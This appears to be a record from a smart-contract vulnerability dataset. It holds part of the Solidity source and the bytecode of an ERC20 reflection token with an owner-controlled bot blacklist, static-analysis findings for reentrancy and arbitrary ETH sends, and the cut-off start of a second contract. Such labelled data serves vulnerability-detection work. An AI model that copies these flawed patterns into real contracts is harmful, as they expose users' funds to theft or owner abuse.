sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f45766572457468657265756d0000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f457645544820f09f94a500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1f41338a61ee32904a6e1d7885bd7087969515f9a2d4f85987f219e494d79d264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,964 |
0x95d388bf8bf6cf049957e2a29b31fbd54a46d728
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
